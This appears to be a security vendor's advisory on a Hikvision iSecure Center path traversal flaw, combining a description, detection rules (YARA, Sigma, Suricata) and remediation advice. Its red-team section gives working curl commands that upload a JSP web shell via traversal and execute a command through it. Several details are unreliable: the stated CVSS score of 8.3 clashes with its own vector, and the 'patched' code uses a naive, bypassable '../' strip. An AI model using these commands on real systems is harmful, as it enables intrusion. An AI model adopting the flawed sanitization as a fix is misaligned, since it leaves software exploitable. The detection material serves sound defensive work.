CVE-2023-53691

Executive Summary

CVE-2023-53691 is a critical path traversal vulnerability in Hikvision’s CSMP (Comprehensive Security Management Platform) iSecure Center, actively exploited in the wild during 2024 and 2025. The flaw allows unauthenticated attackers to upload arbitrary files via the /center/api/files endpoint by manipulating directory traversal sequences in the file path. This can lead to remote code execution, full system compromise, and lateral movement within the surveillance network. The vulnerability has a CVSS score of 8.3, indicating high severity. No official patch has been released, and no public exploit code or Nuclei template is available at this time.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary Hikvision software appliance.

CVSS Breakdown & Threat Level

• CVSS Score: 8.3 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The threat level is Critical due to active exploitation, no patch, and the potential for full system takeover.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of Hikvision iSecure Center’s CSMP. The endpoint /center/api/files does not properly sanitize user-supplied file paths. By injecting ../ sequences, an attacker can write files to arbitrary directories outside the intended upload folder. This allows uploading a web shell (e.g., a JSP or PHP file) to the web root, leading to remote code execution.

The attack flow:

1. Attacker sends a POST request to /center/api/files with a crafted filename parameter containing path traversal sequences.
2. The server writes the uploaded file to the attacker-specified location.
3. The attacker accesses the uploaded file via the web server, executing arbitrary commands.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: No path sanitization
String uploadDir = "/var/uploads/";
String filename = request.getParameter("filename");
File file = new File(uploadDir + filename);
// Writes file to uploadDir + filename, allowing traversal

Patched Code (Conceptual):

// Patched: Sanitize path and validate
String uploadDir = "/var/uploads/";
String filename = request.getParameter("filename");
filename = filename.replaceAll("\\.\\./", ""); // Remove traversal
File file = new File(uploadDir + filename);
// Also validate that the final path is within uploadDir

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Hikvision iSecure Center (CSMP) with /center/api/files exposed.
• No authentication required.

Exploit Steps:

1. Create a malicious JSP web shell (e.g., cmd.jsp).
2. Send a crafted POST request to upload the shell to the web root:

curl -X POST "http://target/center/api/files" \
  -F "file=@cmd.jsp" \
  -F "filename=../../webapps/ROOT/cmd.jsp"

3. Access the shell:

curl "http://target/cmd.jsp?cmd=whoami"

Alternative Payload: Upload a PHP shell if the server supports PHP.

Blue Team

Detection:

• Monitor for POST requests to /center/api/files with suspicious filename parameters containing ../.
• Alert on file writes to unexpected directories (e.g., web root, /tmp, /etc).

Hunting:

• Search for files named *.jsp, *.php, or *.asp in web directories that were not part of the original deployment.
• Check for unusual processes spawned by the web server user.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /center/api/files with filename containing ../
  • Outbound connections from the server to unknown IPs on ports 80/443
• File System:
  • Unexpected files in /webapps/ROOT/, /var/www/html/, or similar web directories
  • Files named cmd.jsp, shell.php, backdoor.asp
• Process:
  • Web server user (e.g., tomcat, www-data) spawning cmd.exe, /bin/sh, or python

Detection Engineering

YARA Rule

rule CVE_2023_53691_Hikvision_Upload {
    meta:
        description = "Detects path traversal attempts in Hikvision iSecure Center file upload"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-53691"
    strings:
        $traversal = "../"
        $endpoint = "/center/api/files"
    condition:
        $endpoint and #traversal > 0
}

Sigma Rule

title: Hikvision iSecure Center Path Traversal Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in Hikvision iSecure Center file upload endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/center/api/files'
        cs-uri-query|contains: '../'
    condition: selection
falsepositives:
    - Legitimate file uploads with similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-53691 Hikvision iSecure Center Path Traversal Upload"; flow:to_server,established; content:"POST"; http_method; content:"/center/api/files"; http_uri; content:"../"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from the internet and untrusted networks.
2. Disable the /center/api/files endpoint if not required, using a WAF or reverse proxy.
3. Apply virtual patching via WAF rules to block ../ in file upload parameters.

Long-Term Fix:

• Monitor Hikvision’s official advisory for a patch. If no patch is available, consider upgrading to a non-vulnerable version or replacing the platform.
• Implement strict input validation and path sanitization in any custom code.

Compromise Assessment:

• Scan for web shells and unauthorized files.
• Review logs for suspicious POST requests to /center/api/files.
• Check for outbound connections to unknown IPs.

Valters IT
Securing Digital Frontiers